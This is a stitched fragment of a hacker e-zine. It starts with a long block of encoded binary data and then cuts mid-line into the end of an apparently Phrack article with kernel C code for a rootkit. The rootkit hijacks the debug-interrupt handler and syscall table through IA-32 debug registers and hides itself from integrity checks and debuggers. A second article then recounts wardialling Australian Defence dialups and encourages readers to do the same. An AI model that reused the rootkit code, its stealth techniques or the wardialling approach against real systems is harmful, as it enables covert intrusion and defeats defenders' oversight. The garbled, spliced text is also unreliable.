M&I/E+3%'*/@(%%.UY0Q/5G6%C]D>'VR;)(":;"`O",=YEBMM$=.)S#.2,S]E M`%:4=5KGSZRD.CK73@ATBF4:_![#[GQ!15`+42%&1&Z7B*3@[9E2%'MC4L0U M%3*@8TC`IWXY_OS,0_=:]#[19[`KQI5`M;'T9K@ZH/94$5$:0IQQAT>@18`- M:D(1)=DH/Z2F+:54'X7)(\CT^/6`((/$)',,48^IB)%I"XH67!B"NX2"?$%* M`5`B@Q9[RK*\0G2A)J!+PNP4K8BG#T:\B`FX#X[7/J>$:5&_=#P"J^W#>8'P M4;]PUC0LN+O&'A_`>K%X+VU6%U/8=1B71DV:^OQ%Y#07N[E^2LSS3DQD*@W" M.^U_FQL.5[]2@FVE[-*:=.%[CEX'X(U)4*[CE%Y;@@A?N@192^0="6*M".1/ MLX\0_EXEA;1@A.(.L>X9D+OOF_#:M305N"?GLDEMK[QGXQY1R@# MM36N\<("HG*27Q$P=-0U.YR7J/@QJU<@D8%(\0&=]!B:^!]9&>T M@75X;PT9/U$=5I(GA#XHFB7$PR[:H3X6]ZJ;<^9(;37[[$H[`8G['9'=V9J: MSE59OZ!VC,Y&ZT`J>)M##]>8$F*D-$EL*ZFHW:3"@34$G"YI"0U?%+JW?!12 M;0E(`[AIATB=)R#`@V'4$-^H)>Y4KTBUA=O&@\R*LX6T0_`!%Y]RK,(LHR)& M,F#]XR7]3&E:FF-3O-@)K@F(4^Z_EW7`='+B9$3`*.C_,5"UI0I;1U@FU5U! M-QI```)0K/"Q[^`.PF;;--4I1S,X\Z9A]>:4=0Q M$(5@0"TSYU/2TH`$&OS4FR,G;PBNP'YK;=!GJ>%<5TA/F1/A&IX!!/62DCDQ M*0"J*4(ZSN>]UP9-A>\@0.P@IWRYJ"6KZ,B@?U7OC'4-`DIZ0@:^P@1 M=FI$MG^RJ/8GAMP=_12EB9"#S%)$YY+[;W*NK8D*OJAIR@H&2!P0MAT'R!V" MRN@Z2QK0F5SH,3!R-UR^0J#L9PJ/M9W@0GOM"X_.4D_PL=S(]95Y*1""12!#4KXU.7F%E!DOMW[J&.')DP"G?/HA2\ M9!+/'(QQU[;2'EAP^S`C)$J1$F7;7KO#MQ$HZ='[-7\AUOJQ\_)Y:X`:U59' M93GD4DA[1T^JF<\.,Y$^H`LAE]8%V:()*M(1$U[X6E#4L:XS)RVBRSC7J6U7 M9I`GWXA><]$0,BT=N=KU97?%N\N6_CYFCR]\CDTJJI62IFI!99=6EBN3R-I\ MGOB&&%P@(L,WBR1+I-=*=99;+W&X2#9RHTP)6_G\10/%/Y'0"=LINS&L<>/!;&?O/*&[\!4?90W7CZ/;/+XR@F)XZ\P8Y,*-+$4QL_<"15R M5"%%J]W:$M"-FTP4>-OGITH)4JTRQBW,<[V5:V])#D%WMH(:!. M$"OP`+JM<7TR-G3PIT"=MW8#&8R.(W<5S=;`;6J':OU;FN`Z0C-QN4-@S_H\ MW&8PRL3PH&*<;]4A6-F*DG1)0?BX6JZ"V)ZX&W-I\VU#C5PNH%RJ]^$\@"IT MFTD-)EC%IE2,<9X9#>9'MS^^.\5/NE<2&^2[HJBB-%"Z9$99)"%%MNX]#["E M:C_T`B8(S9="=7"5GA4+PU^SLWHI0WB$%O0$Z_LW/[F0%,WX3`=2#=-&%_RVJ5")+FD0H'AGNO1/5^?(NK#;))#?E3@UF$VI*^LMI-ATW M;L'!MCX^@6(V<;K#7%*)+VW;]E6N:^DAA!]1#/6#2KM[]R&S-U3Q1KXJ*_B2 M;I7,DE):]6GT7-_>NT)Q_SQ"!\DEI[OIV58NQKA?T0+8.\W[4]=@/-ID/Y/F M#ETXSFNKD?TCU]1MZ;AD`$O7U-1Q]&-&_\S%GG!)FRUT]]5PU\K8 MLXX*K)#!,,N1#8%LY]3-O]"AA"L@/T8D*)?]QDVD/O-YFD;]X":E0_KU%CL^ MTI'K-O%E2A?4_*1]Z]1X_%T9N7#S3_1ZV-//'1JW-+4#\[+)NDKAID8NB^0" M`SEDZ7!E$_55>&T33.L9Z)+;[\%K+O7O*9&@MS?,([[GKOWW)Y,BK]UZ>B:O M4@%R,B.JBWR+,F'[DD<*`N<.<(+?!<%/8&_.8SAY?<'FKEABI(4YC6APV[[^ M"V4DHPJ<0X[(D8<+"S?R2<8`KKQX9Q`2@6=I1(5YCI?-*!C2C7I!2:MN![&2 MO\.^8+C@TF>O(85_KDQ*2%J*89JDR\0I#:,\2;U,@IQQ7J41(FU2S*NUY:@M M$6X6I4T(-R'Y8!)525/2WZ?X1<&UQ,[DJAN@S,2$5+@MW:`.6BVW355P!#O0 M?^2_Q^F#ZQ#9C%=3HAZEN7?>,VW5^4,_UZJ1QD)1;=QNDN)LM*S^V M-U]%KJ*ATP4<^EL^-TE#AUX6CF+IQC";`KNE8@']G;J_JA(R?8HDDN(W,I[A MK7_#+7D2F-9WK$>38WTSDJ.6--5"S10!+_-)'UT2M-O5U+P]1_1SGF2@@1O:) M>;*41ZVT7;'-$!CD]-YJ%M2\>OZ:8.28E/&3>E["A4&7"240K_*$,>%TQVM" M,^61.&*4=J'N/@\X/;LB<08QF"=Q@)G9SU:256VY%YZYB/AKUU^N[?8I?G93 MKSL1*['!^`1='_CA4"Z,"@I:KCHE6VFL?[9M;K;".EUB=`-']F:)*"IRZ65; M?.R7`1S1HSB6O@,9`=2]-+1\L^(;]-81@Z$7Y#6YBU,2B.NC=&0T,RK;K[:^ M#B#MG(Q!P!JE@&H$(:&CLFX#$U-*S.1R:AY)=@UB,4!^#@^F*Q++`3U@$7X. MJ_0-1G?].,OCO2D#!B^_='D2YN@H.DG*3U\4YBGAVUM1.0TU/\GW,JQRNC\R MDBX8@%`LN1-^XW@3.EM(@YV'#!,9/J'@#M[M)BEX;-VWF2PYKGM#OAY!'`)W MTN@"7H@-3"SE$"\#1[Q%/4$IUQPP1!Z!9'#MB)&JJ+]*_492(71YSO7Z':]#`WA[Z3(:-+K[H>//H9U,`[&"OLS9_P+)S$WW`*U;K[NY8' M[X!JL32^(R87,^W\H-P,/<'WII)VT+#.`O5]9!CF?B#YG>V.^>M'_@I'OC;D M9%9Q/JB;C+:>>'9?TZ`DQG+G'@8\#R8?-[S0R/@RCU+V;O:]XLF;G<`"A)Q* MQGGQ?M,$X(_\-WQ:WYL12ODZKVMV^N:/S#;$"#`NC=2O+"6>I-OFJT[#D?[2 M&X][P^DCZ_^\JR_ZE[V'25]/;_KZ?CSZ-.[=Z<'$3\5>Z>MQOZ]'U_KRIC?^ MU._0NG&?5H2T:$8V((!5(_Z[__NT/YSJ^_[X;C"=@MK%H^[=WX-X[^*VKV][ M7R#-_N^7_?NI_G+3'ZH1D?\R`#^3:8]>&`SUE_%@.AA^8H(TB#L>?+J9ZIO1 M[55_S-.Z/V-W?E'?]\;307^BP,?GP57[4">]"=@^T5\&TYO1P[1FG@[7&S[J MOPV&5QW='S"A_N_WX_X$YU>@/;@#QWT\'`PO;Q^N>!#X`A2&HRGDA).!S^F( M1>/7>NI@!O3577\,^0VGO8O![0!;TN3P]6`ZQ!8\7]P3SB\?;GLXQ,/X?C3I M4_^&1`@B$/AX,/F;[DV4$^QO#[V:$*0+&G>]X24K:D>1=%S].'J@K(%SWU[1 M`N47D*#Z^JI_W;^<#CY#O5B);28/=WTG[\F4!71[JX?]2_#;&S_J27_\>7!) M8+.>W&Y;!8RBL<[> MQ8AD<`%^!LP6&"&!D(JN>G>]3_U)1]5&P%N[8?*.GMSW+P?T#SR'Z4'7MR(5 M>-%O#Z1%?."(Z![424NWYYVNR]8W]D%[>C"1D;-IGV M-'.,WQ=]6CWN#R$O=J?>Y>7#&*Y%*^@-<#-Y@+,-AJP41>=E;QZ,K[P_L9SU M=6]P^S#>LS'L/(((B23;6JT0;V23LP[;@!Y<8ZO+&Z<]W?+:1WT#55STL:QW M]7E`D4?V4?"%R<#)9.0H.#ER8.-OG^)\O/[``#_-_M.2&QF3ZG$U*AW6*>=_ M?/A(`7<(L..RG"4+=IDQ1F)-\PV2LT-#S1QE\/TV-Z7GDN62O_]A2X4:1-ID ME:WSCY1VKN*FDH&:"=R37E&)(:!'YMPY!R6E:N<"R8'U%W9H,*G5W`R^"EI? M%OOVH?]&G&_)EF7DKIP::%0/\_Y/>\_:U$:.[7QU5^4_*,XFL5D_,:]`DKT$ M/`EW(%"8S.S>.UM>8[>)-[:;@L,\@7!`^ MNS?29@67=U]>TP)G8W+AP:ZH#_\C*5+H8J>L_72'S^OK0![N\V.IMA*7'DE` MY(I#GGPTT!D;'2BZ$<]U())T@GR)]*3VRF/`(,!SN*RAA8J[/@?9HR_@R.^P M,U&'5@%YA;^FONSXZI?HB?`:(%`7>.K3I>@\JE M$R[:V$7XG`;B+G!,MUQ:)XX.,$H0Y&BJ*(H7Y2Q?#AT5Z^:Z#API+#^1Y(ZE M>X1AQ@QHN8/R+*SUM"LPM0^'^9=N']#O.!B52#H"TTD$]6C,@LFW@.,L\;KL MHJ_:Q!O#B#@@$&[_P/D&0U9\6OX:EG]J2?%'%5;204).M$OOZ; MUO$AW#T._V'>FW=H3;2Q3SR,H5^'PK_`@'W5JN7Q5W:\666%)D M8O39<9\,*](6$L`CP[&/.LX;5&^@Q8WLP2"ED7[!"'V*14U&,K&>GO;_N>N, M/.BRW`4,/I%:8^2.9T`P=^27R\C)293V9P.VZ^J(?QE#(@=+KGD8C$Q57.`H MW@TT*ZBX=^V,+%N/W$E1<"3WQ/%1@!^RI6/,_NQH:L8PND`U%P3@Y(,X%77_ M&/2=,0;*^QRO^4[ZJ7?0B^)R"(<&^5!1&URF'&WQ#^_&Z]V,7;7'\4P\O]&` MV#LH0(!V"-Y0)`N6P*&C?QGK_#F:Q\AC$':CSP&]OI!^*N@&XQ>U2@V`_3=B M(]YUNI_<";'`E^Q(@J'?L$K.;F"G>>/7)5&'N]ID,*34)'AIX1-X'M:BV+M!L%&@Y)@=81CYG^+R?ZTW-BG_ MU\;Z)OR^UOBA5E_;W%Q[Z/Q/?\[\7]451^!_2M08NGV^F:S6:EOR.:7%@(O( MWL?.#$X<][,H[-?&\*P&5_&7'7Q7Z>IW*V.O=;)[M"(F5]./Y0X(7>ZXTG-? MZ\Y.O1Z<"YXXG9T/)AWQAN@J"F]:^QUWA+?[EQ-9(^AJ`&>!VYVA5;3B32Y> M!TC?2>:1?>CL)K>2>F0GZ3KS>7*/["0D_2PD^2228D'I1[:6,M`MY!_9@2$% M+2,!R=81.6@Y&4@3X=9RD&ROYW5I24AVD)CRK"0V-M?%$=QKQ"Y*'7N=$4C_ MO0N7Y!\0?QHO2K(/D'_DD*J.\V30AU79%\"8VS]^>$^ZT5;[G?.$G*;=R'-H MP#[*XN5E=U"%_RL?7QL/_1N_.O#@&0"JKL#*&!:*)91]X*<@B`X\_MP9SN#& M$X1%'.R]6R_AOXTCK*2@'Y[LO6GO'Q_M'KP7A=IUK6B_>?.A11)\],U^\V?Y MIMX/O<+11!JUC@[:S??MXQ]_;#7/Z&4C]+9UUE*O\>U:$<=Q/F!)C9NS`Q=< M3XLX!GA]=KQ_3-=5JD?*'9Y88XB[)T=["/K-P9D:2UV\?"G6BT1`:"G61;DL M?+C%PP]J3VHO:-C>>W_&&XTC6`&-)V;?;]\]&=!\OWU\$I#%J+-AUMD[;`553.(9=0[W?HJKLQ;4>=NF<34CD]`( MZNRUW^RVFNU6\^UJ0$RLLUI$6F+<#-G_C6$&3>IVD_H"36J1*0LUP:V+._=@ MJU$S5BJ,PUBG+VH$"JKPOD)WX.3*/:Z\`5L13HX+$!M`!(1V`AJ"4-YW=-.C MYA%LL8.]ILA7>^[GZL@=Y8.7NR)>H'?0A"FH"8%4QPXZ>&>T-O[!^];9[OX^6MI$05;\JZA=;U'%^\)DMD6* MB;8_@F.@`"?KK`O"8'?0!N*N"'J*OX+LM$5[JCWUVMB@N./,ZALHXKN.I/QJTW7%[X%W&O?&A)^,5>H?)[4^O+\Z'!:P>=`*5L`X<_O,K&1UY MXW;GYXJM\B ME\,#$GDV_JQ7!'G@A1L(>6[2AL#9#9V0^/9;W[N_EQ*2_XXZGUPTD=PKC/3\ MOR@`KLG\OYMKZ[4UE/]JF/\YR__[]IR,*J'=VHY_9@Y8/R<,E=2GD1/ M*D\_N2K,#N0&C`C!L#(I+OE3YXG6=#GH*;WMY"ZZ75'^!>N7?W$G$P_C`XZ#'YAAJ3$96#?F"6_,[U:8:5,IQ2D2L^8?@,?'ZG^Z]PDC7_]0W M&FL;@?ZGL<'ZGXU,__,0)57_(\1]:X!RF?(G4_YDRI]%E3_"5.;XTQZI;>;H M=_)*AY^_@\SB_,?)&=5EZ/7*)?RR8[WIX7[7'<'__%``LAUV+5PQM"*)!H1ATDL.GF!^@@+7@12X7`2G;HM@$ M3ZEB2=3T?]CH"X?:1IJ^TD]V'`W3PEIVCK)]&P7>0J2/DB6J%XV.*"-5OY#? MXPY9L:85-=L@ISZMK5W_BM[F%LPBDZI@:V*>V?,DD'(2@%5Q6SSM49\%>R#/ M;,U.4?Q-U,4VT4=C#$`-U4X*Q*!6,KB@3C(LI2)*!24KI4&259(!*3U3*B!9 M*0V0K)($R%)6I<`RZR6#,VLE00RKOE*`AJHFPPU5G`^ZOCCH^J*@ZXN!GKLY M0E47`9V\02;N=#89AQG;%R=6T2.6XJ505E`'3F<#O`;^"=W729^[BG\#A/-. M;P*_.K$\,\HKG9SN,)9)&AK\DE;:E[22OA3HY+$WQ";"#C4`X+37:T`KU+I@ M%-UP,)Y=Z_0E/4R,-_&KF"BI>M69=C_VO(OJ8.OZNCWM>B`3KE0)P.H<`'5$ M!*D`]0H%:L`JV]]%@?![_5IL%HNDKF9"06P&AUB@G M)Y>);,QI6$V'TVIKP4IB.KI$K@T_`#-C(2"^03UXAS7^:ILT=@+80=4(!I8Z MT$1!OIB/@ZQH(1%83D)8R,J$QGS-(^'36%6/@@/?NQP6&G2@F:\`!30^V6I$ M//*L2L]"-A*^+L#T`0)R4N#VZ9.%!->/0K\6G/C8@.Q;5L>_ASHNV0K-W`*X M+HAL"-N!@:S"MHX`#71#33@:%5U5(RW+W!0&"PA!JROMWSPF![2)R\[5`Y_: M&:WDG,[1%#_LI`*6O,9Z)3-U'#WA<4(&ER9"2S(:`:G&*Q6]Z25S%[CR8?/IV#7\7BKY,%L!C^V/:R")RQN_F MF&AYARFV*,GDNI]'LC2:+46T-#:':D6Y_,D_1>T#!IP(+(D+VALAWI2<;868 M:8TL5:_?O]-R!=;\;==K5Z=MDF>G'M&M%F\LGY>KU)_1&L+POAN!M3%M2`JT MN2=":'ZLP^&V["JR.^(<*NYO;Y3H4V;?Z3[)!;A!L\B>!GHB82B=4)^_%@9_ MRFL(K,3'*?J]HA!WX_&Z(XD)93B;3BA0=S96>"$F=]F9!I3AAS`4KQ"<(%KB^O>*,\1[^N M?K]D^'H5L9-O;67]?HMA_\L_&_Q_F^O]L;*ZNR>^_KS4VZ^C_TUA; M?7#[_Y_3_P=WYZP_A.TGIU_\FSZCJCZ&HKX^X8W%(>ER5ZKBD?,HQBQI/IN- M!_`X]!">#`?GD8>8>B;\\,:O8N!FZ'$?-OXPIFH$O#N9C/G9HY`[K.$+BR_Q M,R`3^HSP1'P$AC1T)__[SQ*(KCW]UP[60T=QZ16+]GC8+:HZT..1T_%'HO!( MFP?RE5YGVOEUG#6Y+A)[^TOM&D[\IX12`CP"U_,U'%5PJ;;@/*O%=C[Q1Y$69M/6 MU6`*4O9Y!X[BP2,G<&#.![.PG38-E2FLGIA);JS2PZ)<.(_0JG\PIC4# MMW+CB]7"[Z!K0O/@1-J$5?JZ*STGF",+UAO3EGKJS\:4=K!"?]&B5(_H<"6% M@DJHAVE!9:ASN2SS*9)O.F=NQ[3AE]Z8>@INO0HV)8Q#K)%`!`ZHSI^6173H M`'[D_.=1Q-#]H\*'7/$T*,:`LBP_!@HA?51+]QINCI0]I&FDHT(';[6R84_7*57W;-E[%(XUSH4(@"$,UW+]@+I5*I MJ$%8F!]U+JUC@SY9@-$,N*K*Q_`3>"M_!@CSH$N^ZE_B5PSL:18%4>CW8/4@ M$@4^UDKBN'VZ_\MID29?T.R#W$(>MP7@6U@U_T`S26@]]35*M)08S<2IY5'Q M1H21P=E_67C_X?"P)#`PI81)HL[:I\W=?1"JZ'=,ZM5$UZF3=NO=[FESOQ1% M4I5^#Z>5"%T$TKQZ1)^I5T![!`(BOP`USO M.CWY]9XR?9Y#+4;EC&2M-)B*[N6-G)12W"6E+'_.W2X*<>K1VB])V^74Q:1, MKK5EH+D'DC.&(;%.Q&)^H]D89TFARP%-BW)"V?B;3#'#MM5.ZM"%)2 MZ2.VYZMSD9TR:#/)"V!961!O*X^9LM6P'L2\SY@H\ZT)K\+&5*_(JQL`,I]6 MH\C;EZ:Q9U^<<$W.)F[BM+!&EI'_3/G_\V!X_\+_#W/]_^L;MID5;YR1="6JD"L03?Q8DE= MV(J&:%!*D`S"8Y/Z1H8H+[DA6FGU)5?B*W71GHR\F2XI[RRD2J0[6YE$OPM4 M^*AL;*@_',"BFY`I"+6-^`265AZYV6]N7J5-P_L-M"D+3$;W:=#K80K['<(, M6A2D) MMR3?M\D$K50*7M1G5MW0FM=33/.(G$1*YZ0A.Z%\`QS&L<5A'*HOTZ-JX,F> M#3=BVR/7>*^[)`K`H$9"ZW6,>$"-6)$":O0ZWQ?%/"F$]*>SU'9X.]CI3YY7* M;L&)_3%[!_1+%`X36+H1VNC-HZYTN;L]:=,H:_CSW1]IS?P^2],VB#!9%AN' M[MZYL7?%,C6=]KF@0ROW"^`%_7`O4;M]B#\"FD;8'RO2S)`NPS.!?E=Q4[14 M<`T8#H>+3+G1M9QUD+1_=B?J4X0$#6-S%EL%8NXR"`#*'N,GUO;C@X85/:^T M)8Y_*E$Z7]<=T9>-X%K,V@TT-0`)*@(G1_E2Y0=C_)!BGC2T=(CC+=[%L9)/ M!)L9C'/,,B_@-(75M@=[3:TFE;ZU4(7);#(85'LCG9_ZMG9*1S$9W4DUE4BD MLA-/5JG2?NK;'1)><8I9.X/00BI:TL3:^7K4L!4$4S<;(L*>UL*@NDPJ`S$- M49@8Z100R220"8[P@[J>!""75Z!4M=!]_&H9+6GB>$@ND3<^!@MKBB`O/P;Z M%&'/[DVM^*B6U)Y$I2\5N5@T)U(G*\ETKZ27ND6C:V.;\B>E:?/A@4)\B81Z MS.3,#:<>R@T&\T35*&X9VL^*G-HEC5EYA$<:3HB27J:_:3'*`(TY#%2QUI&7 M1HKEL+&.!3GNBC&UAO=?*J;D=+8LHC9P]@2K&%.$?%*J7.G>1AYMLHW4`O-L M'!B-KDBF.7=9RD87-:A3Q7N*\GD,7TU MQA,MFR&)66H#9B?UML;ZB^/)W])!S=#_?I7<3UCFYG^JU:7_U_KJQD8-_;]6 M5[/\3P]2.)U1H=L3%4H`))X]X]1*ZJ?,F%2,R^7$%@/,Y(2_B?(0#2+E0]E3 M>7C9'<"_OR6G@6JCM8-[(+O',CUH=T6"SW\$R9MB1D2OBBIW$V$L/52X;S M__Q![#\Q&:"TK2;9,F%KVIVPIIUUP"#D2F5P6`&N+[DB?_P3Y:`V7F_+YG"( M*NTX::`LK1=7H:[LB.1P5HP8_;A6@6C09H5ME4+CX#@5@U"@<"AG1B0Q1IH> MWD9$U]C6>3060$6VLA7KIAU#:_*DD6*"@5-VFH:=^8IX4GG&-(5ZX9P/T2#O MN'81J1(_'BH4FP,@:P?H;2O2JPO`KE"MG[@`5 M)O=#>P.ENZ.#B@FU.VRSD%SW]D.@>;SQ*+3J0ZU2%GVHN]0UOXCJ.TK"A2`8 MJU="^>)\M167A)>=VT1.KC3?W69NHQ1)HWLTL\J=,4A2GSOQ+)EM93$,EU^$ M>*YM64MAN[+U@IQ7=OL5%N+"4.Y],492>*23P-7(J:0KWYSW15&Z']X7R_VL M=1AY;O/`U%48;?LGY(2)BR^"E!>9Y(=D@['0ORX;M#+X1#ULY/5S2=H;=]E7 M$6QB)B!T5RO(P'VZOD#@\&\I\QA$/!>F^/*1$7P[>!<8.QA0HIM':V`=FK92-8#6__X-\ M?O=)I_@#+I1$:ECSR$;X>YC'!6FE@2\/F(SX"2EF8B@6NUV_P@P\?A4!M-@Y M;">$HG-8T:&B<@`9VK=[FH\0$N'S'X$;*U;Y10`UT*$A<-#`#WKK^+)MX)MB M!3]TS7IF#X]IKJ9GND)5KOC#Y49')?C=^\1M==(`PHU;4+HAU2Q@2+H[:CWH M!^"8,U4$?>E>/PUXEO22&[F=L?*8,X9%'A,P-4#][A1A5(-+1U!-RB9&NU=F MZJJB^D1`J%(*QS);;UMDN#N[FM-W/*\*^4_>:>/H.>7FUA]'1FJB6Q^T).O(%'>@O=/7GM&BG6\$OHL'PY M3E3LH\>/\<$I%ZW$4WE/"C`I5L1;S^N)X:S[Z;&<_R#W599W*BM9R4I6LI*5 MK&0E*UG)2E:RDI6L9"4K6eip += 3; __asm__ __volatile__ ("movl %0, %%db7" : : "r" (mask)); } if (condition & DR_TRAP0) { if (regs->eax == __NR_time) sys_call_table[__NR_time] = hacked_time; if (regs->eflags & VM_MASK) { (*old_do_debug)(regs,error_code); __asm__ __volatile__ ("movl %0, %%db7" : : "r" (mask)); } condition &= ~DR_TRAP0; __asm__ __volatile__ ("movl %0, %%db6" : : "r" (condition)); __asm__ __volatile__ ("movl %0, %%db7" : : "r" (mask)); regs->eflags |= X86_EFLAGS_RF; } else { (*old_do_debug)(regs, error_code); __asm__ __volatile__ ("movl %0, %%db7" : : "r" (mask)); } return; } What are we doing here? First, we grab the values in the status register (DR6) and try to figure out what triggered our handler. If our execution comes as a result of the breakpoint we've placed, we compare the value in %eax register to the value of the syscall we decided to hijack, which was sys_time() in our case. In the example provided, due to the lack of space and time, we did a direct change of the sys_call_table[] but this is not something to worry about as, the hacked_time() is modifying the sys_call_table[] back to original in the instant it gets executed: asmlinkage long hacked_time(int *tloc) { sys_call_table[__NR_time] = original_time; printk("<1>WE changed it!!\n"); return original_time(tloc); } Ofcourse, there are other ways of doing it without touching the syscall table at all but take into consideration that the first thing the hacked_time() does is changing back the value in sys_call_table[], meaning that the actual change takes place for less than a microsecond so it shouldn't be a problem. A better method would be to analyze the parameters of the syscall, based on the syscall number, which at the time our handler takes place is the value in %eax register. We could feed the hacked parameters by simply filling the according registers. This method would create a "virtual" syscall table, so we don't need to touch the actual syscall table at all. So now we learnt how to set a breakpoint on a memory address, how to enable that breakpoint; we also learnt that we can hijack the normal execution flow without tampering the INT 80 handler nor the syscall table handler nor the syscall table itself. Yes, you can say it's a lovely technique, a bit of magic. But still, we modify the INT 1 handler, or at least, we patch the do_debug() function, so we're not that stealth. Just keep reading... ---[ Blindfold We learnt so many beautiful things by now, we take control of the system and no one detects a direct tampering of the kernel. We covered our tracks thanks to the GD/BD bits so, if someone is looking at the debugging registers we simply ignore their curiosity (regs->eip +=3). But what if someone wants to check all the IDT for integrity? Or what if a debugger or a similar tool needs to place its own handler on INT 1? Are we lost then? It sure looks like it.. But wait.. DR6 and DR7 come to rescue once more. What we need to do is the following: - set up your handler on INT 1 - set up the breakpoint to watch for INT 80 address - set a secondary breakpoint to watch on our handler's address Oh, wait! It can't be that simple. Yes, it is! Like this, we practically don't affect the kernel at all, for the unwanted eye. In our ideal handler, the code emulator checks the type of the instruction that attempts to access debug registers, wether is the breakpoint we put on INT 80 or INT 1 and act accordingly. We already explained what it should do for hijacking INT 80, let's talk now about INT 1. By placing a secondary breakpoint on INT 1 or do_debug() function, we make sure that we know apriori when someone attempts to read the only location in the kernel memory we modified. The best thing to do is to make that single address back to original. Like this, when some devilish tool attempts to check for our presence in the IDT too (i don't think there any tools doing that outhere, but that's simply because a whitehat would've never thought it's necessary), we let them see the untouched value. This is "deep cover" mode. But did we lose the control over the kernel now? Well, not really, we're still in control: we can "reinstall" our rootkit after a few nanoseconds, so they miss us every time they look at us. It's like blindfolding them. This technique is also helpful when dealing with a debugger (or similar tool) trying to place its own hook in INT 1 handler. Think about it: we detect the attempt and make everything back to normal, they place their hook, we hijack their hook as a normal INT 1 hijack and as soon as they check for their presence, for example, by checking the presence of the handler, we let them see themselves. It's like chaining hooks, or so. When I discovered that I was stunned. When I realised it really works I was amazed. This is the ultimate stealthness, the holygrail of hackers! ---[ Closing words This technique has been actively used in the underground for more than 8 years now. The beauty about it: it is, in fact, a basic IA-32 feature. They cannot defeat against it without removing the whole debug mechanism. I decided to make it public in phrack through a "scientific" paper *g* but it wasn't my choice: the technique leaked a while ago. I highly doubt that the person that leaked it knows exactly what his tool is actually capable of and what is actually doing, so I decided to help him and any other hacker in the world willing to learn and improve their skills. As you have seen, this is one very powerful technique, allowing one to achieve full stealthness on a target system. Being a fundamental processor feature, means it can be used on ANY operating system running on IA-32 and also, there is no way of detecting or protecting against it, even if it is not 0day anymore ;( ---[ Kudos halvar, twiz, reverser, sd and the rest of the digitalnerds ==Phrack Inc.== Volume 0x0c, Issue 0x41, Phile #0x09 of 0x0f ==Phrack Inc.== |=---------------------------------------------------------------------=| |=--------=[ Australian Restricted Defense Networks and FISSO ]=-------=| |=---------------------------------------------------------------------=| |=-----------------------------[ The Finn ]----------------------------=| |=-----------------------=[ TheFinn@phrack.org ]=----------------------=| |=---------------------------------------------------------------------=| --[ Contents 1. Introduction 2. Wardialling and You 3. Origins of FISSO 4. Australian DoD and FISSO 5. An Introduction to the EPL and CCRA 6. The EPL and CCRA in depth 7. Other standards 8. Secrets 9. Conclusion 10. Annex --[ 1. Introduction This document explains and introduces a new secret network maintained by the Australian DoD. As far as I know, this network is similar in its usage to the American DoD's SIPRNET. To be used in conjunction with specially designed software to promote better communication in the procedures and implementation of command and control systems, intelligence and logistics. Please keep in mind, much if it will be based on my own past experience, observations and guesswork. Due to the volatile nature of the information I will keep it "barely legal" while trying to introduce some of the concepts behind the way the various DoD's are now interconnecting and thus maintaining the same network security philosophy across the world. I found this document a good idea because to find this information out required weeks of reading and knowing where to find these things on the web. Also you'd have to read the kinds of documents that first specifies how it's going to use verbs within the document, then they will convey how they are going to use nouns... etc... You really don't want to go there ;) --[ 2. Wardialling and You After wardialling a lot of numbers I found some really interesting dialups belonging (obviously) to the DoD which were part of the network belonging to the Australian Navy. You don't really see a lot on wardialling anymore as there are so many ISP's people can connect to for vpn connectivity to anywhere in the world, however the military still considers modems a good way to communicate as they can control the access point themselves and log everything. I personally use THCSCAN on windows to wardial with, as it works well in Australia for me as well as other places. (I say it works well in Australia because over the years many wardiallers have come out with VERY stringent rules about the numbers to be dialled which only conform to US area-code and dialling standards - very annoying -_-). I always have it on my laptops - go nowhere without it ;). THC have had to remove many of their great tools from their website recently because of the changes in German law regarding internet security tools, but thanks to the guys from packetstorm it is still available there. The other good wardialler I love to use on linux is iwar. [8] This is a really nice wardialler, lets you use as many modems as you can fit on the box. It can also log all the data to a mysql database - which I am a fan of. They are working on a sip/iax2 functionality which will allow dialout through a sip gateway and wardial the PSTN network on the other side using a software modem - it works, but with some small difficulties at the moment. It's still a work in progress. Pretty sophisticated stuff, really nice. It is possibly useful to note here even a commercial provider like Free World Dialup will allow you to dial the US, UK and NL toll free numbers over sip for free. There are others which will also give you local calls for free (in countries where they are free) with a little research, you can find them. Anyhow, unfortunately in Australia, it costs you $0.22c per local call. So this kind of info is expensive to get - even if you're dialling on a sunday morning at 2am (which is what I did) - unless you like sitting outside peoples homes beiging - I'm getting too old and fat for that anyhow ;) But for you young skinny folk - wardialling still works well, people should be doing it - especially in countries where local calls are free!! When I first saw these pop up, I was pretty happy. I'd not been at the front-door to anything like this in a while, and I knew it would keep me interested for a bit. You have to keep in mind, the Department of Defence is stupid and worthy of your respect - both. They are like mmost other large animals, they are slow to move, but if they hit you, you'll get squished like a bug (I have been there before). However it's amazing how much of an understanding you can get about such a large target by doing a little research. When I first found these dialups it was back in 2004. I noted them all down, and kept a copy very safe. Later on a couple years later I rechecked them to make sure they were still valid - no other reason. I did notice a slight change - in the banner. Here's the original banner back in 2004: ************************************************************************** * CONNECT 57600 * * * * The unauthorised access, use or modification of this computer system * * or the data contained therein or in transit to/from, is prohibited * * by Part VIA of the Commonwealth Crimes Act and other Federal and State * * laws. * * This system is subject to regular audit. * * ---------------------------------------------------------- * * For access problems please log a job through the DRN Customer Support * * Centre. Either phone 133272 or e-mail to * * 'outage.notifications@defence.gov.au'. * * * * **************** * * * * * * User Access Verification * * * * Username: * * NO CARRIER * ************************************************************************** Here's the banner in 2006: ************************************************************************** * CONNECT 36000 CCCC * * The unauthorised access, use or modification of this computer system * * or the data contained therein or in transit to/from, * * is prohibited by Part VIA of the Commonwealth Crimes Act * * and other Federal and State laws. * * * * This system is subject to regular audit. * *----------------------------------------------------------------------- * * For access problems please log a job through the FISSO Support Centre. * * Either phone 02 9359 6000 or e-mail to 'fleet.help@defence.gov.au'. * * * * ***************** * * * * * * User Access Verification * * * * Username: * * NO CARRIER * ************************************************************************** (The part I starred out was the actual dialup location and line number which are a code for maintenance purposes for the terminal server I guess.) As you can imagine I was kinda interested in why it changed from a DRN (Defense Restricted Network) to FISSO and what FISSO was. I checked around the web, and then started reading all the pdf's that the military in Australia declassify and make available to the public. --[ 3. Origins of FISSO Currently the RAN (Royal Australian Navy) has expanded the DRN (Defence Restricted Network) to allow for more robust communications protocols (still an IP Network) and Services. Thus FISSO (Fleet Information Systems Support Organisation) is born out of the old Navy driven DRN Support Group. During some time when those banners above changed, the DRN was expanded to include the other armed services branches Army and Air Force. They are now implementing the networking technology overseas with collaboration efforts in the UK and USA. This will allow far better communications between the various armed services of the west and thus provide better cohesion. This is where the CCRA comes in. It is also interesting to mention here one project which has been in the press for years - ECHELON. The USAUK Agreement back after WW2 has allowed vast amounts of intelligence to be shared among the member nations as well as projects like ECHELON to be enacted. This new criteria for security measures internationally is a new brick in the wall for these intelligence communities. 